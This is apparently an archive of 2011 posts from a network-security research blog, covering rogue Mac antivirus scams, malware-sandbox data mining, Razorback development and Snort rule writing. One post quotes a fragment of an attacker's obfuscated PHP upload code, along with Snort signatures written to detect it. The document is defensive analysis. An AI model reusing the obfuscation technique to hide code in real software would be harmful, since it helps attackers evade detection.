A couple of weeks ago I attended Hack In Paris (France, not Texas). It was a nice break from the crazy temperatures and humidity we had been experiencing in Washington, DC and I'm sure that all the attendees appreciated the fact that the conference took place on the grounds of Disneyland Paris. Given the excellent speakers at the conference, who covered various topics from smartphone security to Win32 exploit development, I enjoyed much more than nice weather and a great venue. This well-organized conference could easily become one of the premier European IT security conferences.

I was happy to be selected to give a talk entitled "A Close Look at Rogue Antivirus Programs". You will find the PDF of the slides here.

Please take a look. Any questions, comments, suggestions are welcome, either here, on twitter (@number007) or directly to me via email: azidouemba at sourcefire dot com.

By the way, as if on cue, ChronoPay's co-founder Pavel Vrublevsky was arrested and held without bail on June 23, 2011 for allegedly hiring hackers to attack his company's rival. This arrest comes just 24h after authorities in the US and in seven other countries seized servers belonging to a hacking group behind a rogue AV campaign that netted them over $72 million.

MacDefender and its variants

2011-05-10T15:42:00.003-04:00

MacDefender showed up on the radar last week, as the first fake Anti-Virus (AV) ScamWare for MacOSX. Currently, its distributed under a couple of different names (that all display the same functionality); MacDefender, MacProtector, and "Mac Security". In the Windows world this flavor of malware has existed for years, enticing unsuspecting users into installing bogus AV software under the guise of the client machine being infected. Then once it scares you into believing you're infected, it asks for your credit card information in order to purchase the application that will "fix" the infection. In the Security realm we see this all the time on Windows systems, but I'm guessing the Mac user community doesn't have much experience with this type of scam.

If you are one of the people that hasn't seen this type of scam before here is some technical information about how it works, what it does, and how to protect against it:

“How did it find its way onto my machine?”

"Once it's downloaded"

You use a search term in a web search engine (like Google or Bing)
You get your results, you click on one of the links in those results to read the information you are looking for
The webpage you landed on, unbeknownst to you, contains a link that downloads some malware and you are presented with the interface for an installer for some strange piece of software that you didn't intend to download, which requires your admin credentials to continue the installation

"Now what?"

"How can I remove it/prevent infection?"

Uncheck "Open safe files", see #1 above.
Open up "Activity Monitor" (this is in your Utilities folder within Applications)
Find "MacDefender" (or whatever the malware is being called, MacProtector, Mac Security, etc)
Highlight it then click "Quit Process" which looks like a big red stop sign at the top right of the Activity Monitor screen.
Next, open System Preferences, and go to "Accounts". When it appears click on the "Login Items" button, select the program, and then click the "minus" button to remove it from Login Items.
Next, navigate to your Applications folder, find the program, drag it to the trashcan, and then empty the trashcan. Yes. It's really that simple to remove.

Today's SEU and rule release contains rules to detect existing infections. So, if you have Macs on your network, turn on GID 1, SIDs 18942 and 18943. Look for events from these two rules and if you see them, have the owner of the machine call their credit card company immediately.

Also included in today's release is GID 1, SID 18944, which will generate events for network traffic that displays the characteristic signs of numerous known fake AV variants for both Windows and OSX. Let us know how that one works, we built that particular rule by analyzing more than 1000 samples of fake AV malware in our repository. The rule may generate some false positive events, so make sure to investigate your results carefully and send us the information. Use the form on snort.org here: https://www.snort.org/uploads to do so. (requires you to login with your snort.org account first)

We issued ClamAV signatures for MacDefender several days ago and we will continue to update those as new variants are discovered. They are named:

Trojan.OSX.MacDefender
Trojan.OSX.MacDefender.B
Trojan.OSX.MacDefender.C

The md5 sums for MacDefender and MacProtector:

2f357b6037a957be9fbd35a49fb3ab72
a437eaafa5f90b15dbf98123e5dccf1c

Finally, we recommend that you only buy software from reputable places, not from popup windows in your browser, and not from some random website you are currently viewing. Websites and advertisements on them, have been claiming to detect the presence of malware on PCs for a long time. It is one of the oldest tricks in the book and many people still fall for it. The Internet is akin to the old strip in Las Vegas, confidence tricksters and scam artists on every block, all looking to take money from gullible tourists. Don't be fooled, educate yourselves and your users, learn to recognize the scams and how to deal with them.

Update:

Apple have now released information on how to remove this malware.
Instructions are available here KB Article HT4650

Razorback Roadmap and Status Report

2011-05-03T17:41:00.001-04:00

In which we get our first introduction to Tom Judge, the Amish Hammer.

Yep, you're right, we've been kinda quiet lately. Some of that has been because we are the VRT in addition to the developers of Razorback and we had some big things to tackle in our other roles. But we've also been just thinking and taking in some feedback. We now have full time developers (and are still hiring, hint, hint) working on the project and we took the opportunity to revisit the architecture and, at a substantially more reasonable pace, decide if we were on track and where we wanted to go. We have been working a lot on review and design, so you'll find this document somewhat lengthy. Take a break after each list and go get some tea or something.

First, we thought again about what our goals were for Razorback. These are the first things that developers are told when they get here and a list we frequently reference when discussing architecture changes. These are our initial goals:

Don't get in the user's way -- By this we mean that we don't make assumptions about a user's network or needs. We don't want to make lazy decisions by making end users jump through hoops or have to work within unnecessary and opaque requirements. The goal is to make a framework, not a prison.
Take care of the common stuff -- We initially designed this system to allow talented people and teams to rapidly develop detection. For example, many of the teams we talked to showed a particular (and not surprising) interest in web, mail and dns traffic. Since this is a broad requirement, we added specific database tables and API calls to track these traffic types.
Hide nothing and never make the user duplicate work -- Ultimately this will be up to nugget builders, but we've provided the alerting and database framework so that every piece of analyzed information or normalized data can be stored and linked to the source files. The classic example we use to explain to incoming developers what we mean by this is the PDF file. If we decompress an object, store that object for the user in decompressed form. If we analyze Javascript, fix it up and rename variables for ease of use, store that normalized Javascript block. If we find shell code, store it separately and provide an explanation of what the shell code would do if it ran.
Build from the bottom up to scale big -- From the beginning we knew that this system, if implemented at any fairly sized network would require some horsepower. We're taking the time to do work on arbitrary amounts of inbound data. So we don't short cut code, we think about the speed impact up front and we minimize the work we do in the dispatcher. It has a few discrete functions, and everything else is handed out to nuggets. We continually review architecture for excessive network traffic, unnecessary scope creep and silly (some argue "clever") design decisions. We have a strong admiration for the simple and a profound dislike for "magic".
Let the user do what he needs to do -- You might think this is covered under 1, but this addresses the core functionality of Razorback, as opposed to operational considerations. We try to make every component, capability and user-facing operation configurable. We try to ensure that we provide timely and readable logging. But most of all, when it comes to detection, we want to let entities build on the framework to get it to do what they need it to do. We know there are really smart people out there, and we want to let them be smart quickly. So we provide user-definable flag fields in data-block, IP address, IP block, user and AS blocks to track information in an enterprise-specific way. We allow analyst notes to be attached to just about any database entity. We allow users to define their own data types that we route as easily as any of our provided types. We allow arbitrary reporting. In short, we want to be a framework, not a prison. (Yes, I know I'm repeating myself)

So where is Razorback now? We've got a 0.1.5 release tagged and available as a tarball up on sourceforge (http://sourceforge.net/projects/razorbacktm/files/Razorback/razorback-0.1.5.tbz/download). This is, pending something awesome in the way of a bug, the last of our development on the POC code we initially released at DEFCON last year. It is fairly functional, and works well enough to demonstrate our thinking. But we're in the midst of reimplementing it at a more sane pace, hopefully for the better.

Sourcefire has given us not just developers, but also the time to continue this as a research application. We have our final design pretty much laid out and we think we know where we're going. But we have the leeway to spend time testing solutions, constantly refactoring code and proving to each other that we are headed in the right direction. If we find we've developed ourselves into a corner, we'll be able to backup and rethink our approach. We're taking full advantage of this.

First, a caveat: This is a list of things we hope to get done. This is not a contract, this is not a guarantee. But this is the way we're currently headed. That being said, here is what we hope to get done this year:

Packaging -- Razorback right now is ridiculously hard to install and configure. Our goal is to build out a saner way to keep up with updates (all new files are in a single repository, not split between dispatcher and nuggets). We also now provide a single configuration point to begin the build process. We're also targeting a install process to help a new user get up to speed quickly so they can start playing.
Security -- Both encryption and AAA services are being built into the system. Authorization must occur at the earliest point possible and encryption options must be available for all traffic that could reveal data blocks, reporting or forensic data. Also, silly implementation errors result in extreme mocking of developers and we hand over code to our tame hackers to generate more embarrassment.
Networking -- IPv6 must be supported throughout the platform. We must be nice to network operations folks and not transmit things on the network we don't have to.
Operational interfaces -- Razorback 0.1.5 doesn't do a good job of communication at an operational level what is going on. Incident response teams can get a lot of information, but the admin of the box is short on options to get insight into what is going on. During architecture of components in the new build of Razorback, we're keeping a close eye on configuration options, verbose logging, metrics and fault-tolerance. To assist in this, a real-time admin interface will be made available to the dispatcher.
Data transfer -- We're implementing both caching and queueing services to ensure that we get data off of collectors as quickly as possible. The queueing approach reflects the non-interactive nature of the collector-dispatcher-detection architecture and provides support for horizontal scaling.
Database improvements -- I did the database schema which means two things: 1) Its wrong and 2) Someone else needs to fix it. We're going to work on building out a database interaction that is implementation agnostic. We should support more than just MySQL. The schema needs to be normalized to the maximum extend possible while ensuring it still supports enterprise-specific needs. Also, we need to move to UTF-8 to support international language sets.
API -- The API is going to be updated to support high-latency detection by returning to the dispatcher a deferred response. This means that the nugget will take a while to process and the dispatcher should check back. One example would be submission to a web-based analysis front end. The nugget would store the information necessary to return to that site later in the dispatcher. The dispatcher would manage a queue of deferred detection so any compatible nugget can pull from the queue and query the website to see if the response is ready.
Scripting -- So I was jacking around with Maltego and I built some custom database connectors. The way they allow this is you call something and pass arguments via stdin and then return results via stdout and stderr. It is genius in its simplicity and ease of implementation. This allows us to provide scripting support under any language provided they accept and return data in well-formed blocks. This is actually one of my favorite updates and should help response teams rapidly roll out detection.
Data storage -- We store the binary data blocks in the relational database. There are many ways to describe this practice, but the way Watchinski (our boss) described by somehow simultaneously rolling his eyes, laughing like a hyena and demanding we fix it. As it works out, this was my idea. So we're looking at a number of solutions for data storage from the mundane (FTP, HTTP) to the exotic(ish) NoSQL and map-reduce sort of things. This is a key research area because we want to allow searching of files to find indicators of compromise, etc... This change will also affect how we submit data to the system, so we aren't clogging up the dispatcher with huge blocks of data while we wait for processing.
Scalability -- This is a late-year requirement, but we want to go huge with wide sets of dispatchers and deep sets of detection. There isn't really a timeline for this, but development is going on with an eye towards this requirement.

So...that's our small list of things we're up to. We're working on two-to-four-week development cycles and we will be releasing stable (for some value of stable) tarballs each quarter. The Q2 release is already being built and currently is in trunk. The Q2 dev cycle is laid out like this:

— Implement and prove end-to-end data transfer via the queueing system and updated API

— Implement and prove database and local and global caching systems that relate to datablock handling

— Architect and implement the response capability for detection nuggets including alerting and data block judgement

— Provide preliminary support for large data-block transfers to dedicated file storage and notification to detection systems to pull the block instead of getting it over the queue

Don't go for tea now, we're almost done. You can do it!)

We've finished phase 1 and are working on design and testing requirements for phase 2. Our goal is to have all of these completed by the end of June. Phase one uses ActiveMQ and the Stomp protocol to manage data transmission and command and control. This allows us to use the ActiveMQ authentication system so that nuggets can not communicate to the system unless they have the proper credentials. Routing is also functional now, with multiple data types routing to multiple application types. We also now support the "any" data type so that a nugget will receive any data that is provided to the system. This supports logging nuggets and anti-virus solutions.

Well, that is where we are and where we think we're headed. We'll let you know when we have an RC for the Q2 release, and as we flesh out specific requirements for future releases we'll provide those as well. In the meantime, checkout the outstanding documentation provided by Mr. Tom Judge, our newest developer and total svn ninja. It lays out everything you need to know about the code currently being worked on in trunk. You can find it at https://sourceforge.net/apps/trac/razorbacktm/.

This is an open source project, if you want to contribute code either in the form of nuggets or other functionality, we welcome your participation. If you have a question or comment about either participating in the development of the project or the project road map hit the mailing list, we'd love to hear from you.

Lizamoon attacks and generic detection

2011-04-05T14:42:00.000-04:00

You've probably heard by now of the "Lizamoon" attacks, a rapidly spreading bit of SQL injection named for the domain that hosted the script dropped onto a variety of pages across the web. While not a particularly interesting attack from a technical perspective, it's hit enough hosts to be a nuisance, and to get IT managers up in arms about protecting against it.

The good news for anyone running a Sourcefire/Snort box is that, if you've paid attention to this blog in the past, you're already covered. SID 13989, which I referenced in my "Known Unknowns: The 'Don't Do That' Rules" post last May, is the rule you want to make sure is enabled. Originally written to deal with SQL injection attacks similar to the Asprox trojan, it has the handy benefit of picking up a number of different SQL injection attacks that are being obfuscated via use of the char() function (which is exactly how Lizamoon works). Given the lack of false positive reports from the field, and its apparent usefulness in detecting new attacks, we'll be enabling that rule in some of our default policies going forward.

In the meantime, SID 18604 will be released in the next SEU to detect the code dropped onto infected web sites. While that rule is less generic, and thus less likely to pick up entirely different families of malware in the future, it should at least keep your pointy-headed bosses happy when they ask if you're safe from this newfangled Lizamoon thingee.

Razorback - Whats going on?

2011-03-29T09:12:00.000-04:00

Its been almost 3 weeks since I joined the VRT and started working on Razorback. Over that time we have made some good progress with the project and I wanted to share what we have done and what we are going to be working on over the next few weeks.
What we have completed so far:

Subversion repository restructure:
We have restructured the subversion repository in a way that has given us the following:
- The ability to build components separately with minimal cross project dependencies.
- The ability to release individual components of the system in separate tarballs, this is geared towards binary package maintainers.
- The ability to release a jumbo tarball with all of the razorback components in them for rapid deployment.
More information on the new repository structure can be found the in Developers Guide here: https://sourceforge.net/apps/trac/razorbacktm/wiki/Developers/Repository Layout
Integration of all nuggets from the nugget farm project into the main project:
All of the nuggets that where in the nuggetfarm project on SourceForge have been pulled into the main project. The aim of is is to make it simpler to maintain the official nuggets. These nuggets are now available in the full release tarball or as individual components.
API Project Improvements:
- The API has been split out of the dispatcher project to make it easier to maintain.
- API library symbol visibility - lots of the other components (disptacher and nuggets) required an un-installed build of the API to be available to them so that they could statically link in a sub library that was not installed; the utils library. The should allow people to build components much easier if they have installed the system from packages or from the per component release tarballs.
New/Improved configuration API.
- We have replaced the hand rolled parser with libconfig (http://www.hyperrealm.com/libconfig/), which has drastically reduced the time that it takes to add configuration items to components.
- We have also added routines to allow components to use the configuration api to load configuration files that they specify the structure of simply and in a standard fashion. This has allowed us to remove all hard coded configuration items from nuggets and put them into configuration files.
- The configuration API now looks for configuration files in the configured sysconfdir by default, the API calls allow you to pass custom search locations in if required. This means that you no longer have to run every command with --conf=... which may be a relief to many of you.
You can read up on the new configuration API here: http://razorbacktm.sourceforge.net/docs/api/trunk/
Doxygen API Documentation:
We have started using doxygen to generate up to date API documentation and publish it to the project website. Documentation is generated and published every 4 hours for supported branches. Not all files have been fully documented yet but you can find out about what has been here: http://razorbacktm.sourceforge.net/docs/api/trunk/
Continuous integration testing.
As of the 0.1.5 release we have defined the officially supported platforms to run Razorback on and the architectures that we support for those platforms. These are currently set out as the following base OS’s running on either i386 or amd64/x86_64 hardware:
- Debian 6.0
- FreeBSD 8.1
- RedHat Enterprise Linux 6.0
- Ubuntu 10.04 LTS
In order to help maintain compatibility across these platforms and to reduce the amount of times developers spend testing on these platforms we have deployed BuildBot. BuildBot is a continuous integration system that will run a sequence of actions when an event triggers them. Currently we have it setup to build every component on every platform after 15 minutes of idle time in the repository after a commit. In addition to this the system will trigger builds of the API if something that depends on it changes, or of all the things that depend on the API if a change is made to it. You can read more about buildbot here: http://trac.buildbot.net/
System Manual and Developers Guide
We have started writing better user and developer documentation for the system, with the aim of allowing more people to be able to setup and use the system. This information is available on the project wiki:
https://sourceforge.net/apps/trac/razorbacktm/wiki
Nugget cleanup:
We have cleaned up and packaged all of the nuggets so that they are easy to install and simple to configure. Where applicable we have integrated 3rd party libraries and components into the nuggets to make them faster to install.

What's coming next?Here is a short list of the most exciting features being worked on (in no particular order):

Complete redesign of the dispatcher.
IPv6 Support for inter-component communication .
Encryption support for data passing between components.
API Improvements for none real time processing.
Database improvements.
Data block storage and transfer improvements.

Attack Obfuscation - Not Just For JavaScript

2011-03-03T13:15:00.009-05:00

Since his company purchased a Sourcefire IPS setup last summer, I've had a close working relationship with Mickey Lasky, the primary network security analyst at a company (which shall intentionally remain unnamed) that runs a number of public-facing web sites. He sends me PCAPs whenever he runs across something especially weird, and I help him with custom rules in return. Mickey also runs experimental rules for me from time to time, which is quite useful since the network he's protecting is especially busy, and if there's going to be a false positive, it'll show up there.

A couple of weeks ago, he sent me a particularly interesting set of PCAPs, saying that he'd collected them after discovering that a single, determined intruder was busy dropping malware on the web servers he's watching over by uploading PHP code to them via POST requests. By itself, that's not all that exciting; what I found interesting was the way the attacker had obfuscated the requests. In addition to lots of Base64-encoded data, there were large chunks of code that looked like this:

$wWfdGw['_HG3uWD_']=Array('ob'    .  '_en'.'d_flus'.  'h');      $kITFJjggfl=Array();
function    HG3uWD($ownentes83)
{
global  $kITFJjggfl;    $rdupmKoww  =    'c'."hr";
$aaSbVPTgxM   =  $rdupmKoww(98) .   $rdupmKoww(97) .'se'  . 
$rdupmKoww(54)."4_decode";$postimagistes    =  $rdupmKoww($aaSbVPTgxM('MTA=')).   $rdupmKoww(13)
.' '   .   $rdupmKoww($aaSbVPTgxM('MzM='))   .    $rdupmKoww(35)  .    '%'.    $rdupmKoww(38)
.$rdupmKoww($aaSbVPTgxM('NDA=')) .   ')'  .
...

Since the variable names changed from one POST to another - as did the way the code sliced up underlying strings like "chr" or, in other places, "base64_decode" - the question became, is there any generic characteristic across all of these attacks that could be used to write a rule, which would simultaneously not generate massive false positives on normal traffic?

What immediately sprung to mind was the odd spacing surrounding the concatenation operators, or "."s. In normal PHP code, string concatenation generally looks like:

$longvar = $var1 . $var2;

...or:

$longvar = $var1.$var2;

There's no rational reason for a human to surround the "." with more than one space on either side, and certainly not a random number ranging up to five spaces on either side. Automated code generators wouldn't do spacing like that either. That led to an easy rule:

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"WEB-PHP generic PHP code obfuscation attempt"; flow:established,to_server;
content:"|20 20 20 20 2E|"; content:"|20 20 20 20 2E|"; distance:0; classtype:trojan-activity;)

The problem with this rule, we quickly found, was that since some of the web sites being monitored allowed code uploads, CSS files ended up heading towards port 80 on the network being monitored. When those files used spaces instead of tabs for declarations, a la:

.calendar-date-switcher {

They matched the initial signature and caused a bunch of false positives, rendering the rule useless for blocking mode.

Going back to the drawing board, I realized that some of the built-in PHP keywords were never obfuscated in these attacks - in particular, Array(). Since CSS doesn't declare arrays like that, the rule quickly became:

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"WEB-PHP generic PHP code obfuscation attempt"; flow:established,to_server;
content:"Array|28|"; content:"|20 20 20 20 2E|"; within:200; classtype:trojan-activity;)

After 24 hours of testing, Mickey determined that the false positives had been eliminated, and that the rule was still catching the attacker's POST requests, so he turned it on in inline mode. Suddenly the attacks stopped succeeding, and the rule was lighting up his console like a hyperactive pinball machine.

While this same attacker has continued to look for other ways to drop his code on Mickey's systems, I've reached out to other contacts running large production networks, and found that the false positive rate of that rule is essentially none. Armed with that knowledge, we've released it as SID 18493 in today's SEU. Though it's disabled by default, as are other similar obfuscation-detection rules, we would encourage you to give it a shot if you're interested. It may be that this particular technique is confined to this specific attacker, but since the rule is high-performance and apparently high-fidelity, the risk to reward ratio on it seems favorable to us, just in case.

Blacklist.rules, ClamAV, and Data Mining

2011-02-08T17:25:00.000-05:00

We've received a number of queries recently about the source of the data in the blacklist.rules category. I'm posting the answer here, since it will be of broad interest to the Sourcefire/Snort user base.

One of the side effects of our 2007 acquisition of the ClamAV project was the VRT gaining access to the ClamAV database. This massive collection of malware, augmented by tens of thousands of unique samples per day from a variety of sources, is a treasure trove of information - assuming you can find a useful way to sift through it all. Thanks to the magic of the VMWare API, I've developed a system that does precisely that, with a focus on network traffic instead of the traditional anti-virus interest in the malicious files themselves.

The setup starts with some big, beefy chunks of hardware, running VMWare ESXi Server. For each of these machines, there is a single Ubuntu-based VM that serves as a NAT/controller box, and as many freshly installed Windows XP SP2 (unpatched) systems as the hardware can support. The controller systems each run scripts that automatically pull the latest executable samples from the ClamAV database, and then farm them out in a systematic way to the XP systems, following this simple procedure:

Revert XP VM to clean snapshot
Copy malware sample to XP VM
Fork off tcpdump in the background on the controller, with a BPF specific to the XP VM in question
Execute the malware sample on the XP VM
Wait 150 seconds
Repeat step 1

Simple as the process seems, it's taken some time to get it running smoothly. At first, we thought RAM would be our bottleneck; as it turns out, disk access time was a considerably more important factor, as the process of constantly reverting machines to a clean snapshot is very I/O intensive. We've had to fine-tune our queue management process, since the rate of growth in new malware samples is outstripping our hardware's ability to process them. Parsing through all of the PCAPs generated by the system required learning, and eventually patching, tshark, the command-line PCAP processing tool from the good folks at Wireshark.org (yes, we submitted the patch back). After a not-inconsiderable amount of time getting everything set up, this system has been happily churning through malicious executables from ClamAV for several months now.

As the data came rolling in, we knew we'd need to whitelist things out before creating rules from what we saw. Given that all of the network traffic generated by this system comes directly from infected machines, with no human interaction, we figured that the whitelisting process would be pretty straightforward - aside from the occasional ping to Google.com to verify connectivity to the Internet, the initial expectation was that most of the traffic would be command-and-control, or at least talking to clearly not-legitimate systems. Surprisingly enough, however, a huge portion of the HTTP traffic in these PCAPs - which in turn represents the vast bulk of the traffic captured - went to legitimate domains, including thousands of relatively obscure ad servers across the world. Separating these domains from truly malicious sites has been one of the more interesting ongoing challenges in running this system.

Since the goal is to generate data that's useful for the largest possible number of users, the domains and URLs that make up the end-product rules are those accessed most frequently by our system's infected machines. Looking for the most commonly accessed places has a side benefit of helping to filter out highly transient endpoints and behaviors - the domains and URLs in question are often being accessed thousands of times over the course of weeks or months by our victim machines, and rules that we released last year are still helping users identify and clean out infected machines on their network. As of the Feb. 8, 2011 rule release, we're also including rules for abnormal User-Agent strings generated by our systems, taking advantage of malware authors dumb enough to set the HTTP equivalent of the Evil Bit as they talk to systems around the Internet.

In addition to the rules we publish, we're also automatically publishing chunks of raw data from this malware system on the VRT Labs site on a daily basis. As a word of caution to anyone considering simply pulling those lists of IPs, URLs, and domains down and adding them to an internal blacklist: your mileage may vary rather drastically. While we do filter those lists, they don't receive the level of human attention and verification that the data going into the rules gets, and consequently they are much, much more likely to contain false positives. As such, we would suggest cross-referencing them with other data sets, or applying other filtering techniques your organization may have, before using them to block data in your enterprise.

Obviously, there is room for improvement in this system; we know, for example, that there is a lot of malware that will detect virtual machines and refuse to run, or that there is additional data we could be pulling from the PCAPs the infected systems generate. That said, we feel that it provides considerable value to our users as-is, and we will be continuing to work to improve it as time goes on. In the meantime, if anyone has suggestions for us, please don't hesitate to contact the VRT - your feedback is always valuable!

In which kpyke looks behind the green curtain

2011-01-10T15:56:00.000-05:00

From an operations perspective, there is very little that is less useful and more aggravating than vendor magic. What I mean by this is anything that "happens" in the background that you have no visibility into. While many organizations enjoy the simplicity provided by this, when you need to McGyver some solution to a security issue that vendors haven't addressed yet, you just might feel like simply setting fire to equipment that got in your way. Not that I'm endorsing that.

This is one of the main strengths of open source software. If you know what you're doing, you can uncover all the magic so you know exactly what you're dealing with and you can fix it up if you need to. Snort-wise, one of the things that it does in the background for you is normalize data and put it into various buffers. At one point the list of buffers was fairly small: normalized and raw. At this point you have the following buffers:

Buffer	Internal Representation	Notes *
normalized	CONTENT_BUF_NORMALIZED	This is the default buffer that Snort matches against. Also contains gzip decoded data.
raw	CONTENT_BUF_RAW	Not used often, mainly for looking at non-normalized TELNET and FTP data.
http_uri	CONTENT_BUF_URI
http_raw_uri	CONTENT_BUF_RAW_URI
http_cookie	CONTENT_BUF_COOKIE	Config option required to activate cookie parsing.
http_raw_cookie	CONTENT_BUF_RAW_COOKIE
http_header	CONTENT_BUF_HEADER
http_raw_header	CONTENT_BUF_RAW_HEADER
http_method	CONTENT_BUF_METHOD	Parsed from header, not normalized.
http_stat_code	CONTENT_BUF_STAT_CODE	Parsed from header, not normalized.
http_stat_msg	CONTENT_BUF_STAT_MSG	Parsed from header, not normalized.
file_data:mime	BUF_FILE_DATA_MIME	Buffer holds the mime decoded data for SMTP
file_data	BUF_FILE_DATA	Not actually a buffer, but a pointer into normalized buffer
base64_decode	BUF_BASE64_DECODE

* see the labs_buffers.c file for additional commentary on the buffers

Buffers aren't the only place where Snort massages the data. Both fragmentation and stream reassembly occur and can impact detection. So between parsing, normalization, defragmentation and stream reassembly, the final data blob looked at by Snort can be significantly different than what you see on Wireshark. This can make rule writing and debugging difficult. To help with this I've written a set of .SO rules that print out the buffers exactly as Snort views them for each packet in a PCAP. They've been really useful, so we're releasing them on the VRT Labs site (currently tested against Snort 2.9.0.3, so don't yell at me if it doesn't work on anything before that).

Once you download them, move them to your .SO directory and modify the following line in your Makefile:

libs := icmp p2p dos exploit bad-traffic web-activex web-client web-iis netbios misc nntp smtp web-misc sql imap chat multimedia pop3

to:

libs := labs

Then run "make", and modify your Snort conf to include the new labs.rules file. It should be something like:

include $RULE_PATH/../so_rules/labs.rules

The labs.rules file should look like this:

# Autogenerated skeleton rules file.  Do NOT edit by hand
alert tcp any any -> any any (msg:"VRT LABS: All Ports Two-Way Packet Description"; sid:100005; gid:3; rev:1; classtype:misc-activity; metadata: engine shared, soid 3|100005;)
alert tcp any any -> any $HTTP_PORTS (msg:"VRT LABS: HTTP_PORTS Client to Server Packet Description"; sid:100000; gid:3; rev:1; classtype:misc-activity; metadata: engine shared, soid 3|100000;)
alert tcp any $HTTP_PORTS -> any any (msg:"VRT LABS: HTTP_PORTS Server to Client Packet Description"; sid:100001; gid:3; rev:1; classtype:misc-activity; metadata: engine shared, soid 3|100001;)
alert tcp any any -> any 25 (msg:"VRT LABS: SMTP Client to Server Packet Description"; sid:100111; gid:3; rev:1; classtype:misc-activity; metadata: engine shared, soid 3|100111;)

To get started, I would recommend commenting out all but the first rule. This will show you all the goodies you need. When you're working specifically with http data, I'd enable one or both of the second and third rules. Finally, when looking at SMTP client-to-server traffic (where you'll see mime-decoded data), you can enable only the fourth rule. If you have all rules on, you'll get multiple decoding (probably two per packet).

Hey, listen up: This is only designed to be run on pcap files with TCP data, where you have all the time in the world to read, parse and write data. If you run this on a running sensor it will probably melt, so don't. Also, it is what it is, so don't run it on anything important.

Each packet will start with a header as follows:

******************************  NEW PACKET  *****************************
Timestamp: 2009-08-27 18:08:29:16274
Src IP: 195.2.253.95:80
Dst IP: 10.11.250.196:1075
TCP Flags: ACK

The top line lets you know you have a new packet (easy to miss if you have a lot of data) and then you have a time-stamp (conveniently formatted in Wireshark format) and more IP/TCP header information. If this is a pseudo packet rebuilt by the stream5 preprocessor, you see this instead of the NEW PACKET line above:

************************  NEW REASSEMBLED PACKET  ***********************

Then we start pulling apart the buffers. First we check if there is data, and if there isn't any, we simply write:

[-No data in this packet-]

Otherwise we write the raw buffer out and check to see if the normalized buffer is different than the raw buffer. If it isn't, you'll see the raw packet data and then:

[NORMALIZED/GZIP BUFFER DATA] (IDENTICAL TO RAW BUF)

If the data isn't the same, it will print the normalized data.

After this we get into specificly parsed buffers. After the jump, we have two packets that are an example of a packet broken out. It is a client request and server response over http, so you can see how we break things out:

******************************  NEW PACKET  *****************************
Timestamp: 2009-08-27 18:08:28:886026
Src IP: 10.11.250.196:1075
Dst IP: 10.2.253.95:80
TCP Flags: PSH ACK

******  BUFFER INFORMATION  ******
[RAW BUFFER DATA (0xacc1fe0)]:
0x0000  47 45 54 20 2f 41 14 41 41 41 41 2f 63 6f 6e 66  GET /AAAAAA/conf
0x0010  69 67 32 2e 62 69 6e 20 48 54 54 50 2f 31 2e 31  ig2.bin HTTP/1.1
0x0020  0d 0a 41 63 63 65 70 74 3a 20 2a 2f 2a 0d 0a 55  ..Accept: */*..U
0x0030  73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c  ser-Agent: Mozil
0x0040  6c 61 2f 34 2e 30 20 28 63 6f 6d 70 61 74 69 62  la/4.0 (compatib
0x0050  6c 65 3b 20 4d 53 49 45 20 37 2e 30 3b 20 57 69  le; MSIE 7.0; Wi
0x0060  6e 64 6f 77 73 20 4e 54 20 35 2e 31 29 0d 0a 48  ndows NT 5.1)..H
0x0070  6f 73 74 3a 20 31 39 35 2e 32 2e 32 35 33 2e 39  ost: 195.2.253.9
0x0080  35 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61  5..Pragma: no-ca
0x0090  63 68 65 0d 0a 0d 0a                             che....
[NORMALIZED/GZIP BUFFER DATA] (IDENTICAL TO RAW BUF)

[HTTP_HEADER BUFFER DATA (0x8b1fb00)]:
0x0000  41 63 63 65 70 74 3a 20 2a 2f 2a 0d 0a 55 73 65  Accept: */*..Use
0x0010  72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61  r-Agent: Mozilla
0x0020  2f 34 2e 30 20 28 63 6f 6d 70 61 74 69 62 6c 65  /4.0 (compatible
0x0030  3b 20 4d 53 49 45 20 37 2e 30 3b 20 57 69 6e 64  ; MSIE 7.0; Wind
0x0040  6f 77 73 20 4e 54 20 35 2e 31 29 0d 0a 48 6f 73  ows NT 5.1)..Hos
0x0050  74 3a 20 31 39 35 2e 32 2e 32 35 33 2e 39 35 0d  t: 195.2.253.95.
0x0060  0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68  .Pragma: no-cach
0x0070  65 0d 0a 0d 0a                                   e....

[HTTP_HEADER_RAW BUFFER DATA (0xacc2002)]:
0x0000  41 63 63 65 70 74 3a 20 2a 2f 2a 0d 0a 55 73 65  Accept: */*..Use
0x0010  72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61  r-Agent: Mozilla
0x0020  2f 34 2e 30 20 28 63 6f 6d 70 61 74 69 62 6c 65  /4.0 (compatible
0x0030  3b 20 4d 53 49 45 20 37 2e 30 3b 20 57 69 6e 64  ; MSIE 7.0; Wind
0x0040  6f 77 73 20 4e 54 20 35 2e 31 29 0d 0a 48 6f 73  ows NT 5.1)..Hos
0x0050  74 3a 20 31 39 35 2e 32 2e 32 35 33 2e 39 35 0d  t: 195.2.253.95.
0x0060  0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68  .Pragma: no-cach
0x0070  65 0d 0a 0d 0a                                   e....

[HTTP_URI BUFFER DATA (0xacc1fe4)]:
0x0000  2f 41 41 41 41 41 41 2f 63 6f 6e 66 69 67 32 2e  /AAAAAA/config2.
0x0010  62 69 6e                                         bin

[HTTP_URI_RAW BUFFER DATA (0xacc1fe4)]:
0x0000  2f 41 41 41 41 41 41 2f 63 6f 6e 66 69 67 32 2e  /AAAAAA/config2.
0x0010  62 69 6e                                         bin

[HTTP_POST BUFFER DATA (NO DATA)]

[HTTP_METHOD BUFFER DATA (0xacc1fe0)]:
0x0000  47 45 54                                         GET

[HTTP_COOKIE BUFFER DATA (NO DATA)]

[HTTP_COOKIE_RAW BUFFER DATA] (NO DATA)]

**********  END PACKET  **********

****************************** NEW PACKET *****************************
Timestamp: 2009-08-27 18:08:29:16274
Src IP: 10.2.253.95:80
Dst IP: 10.11.250.196:1075
TCP Flags: ACK

****** BUFFER INFORMATION ******
[RAW BUFFER DATA (0xacc1fe0)]:

0x0000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d HTTP/1.1 200 OK.
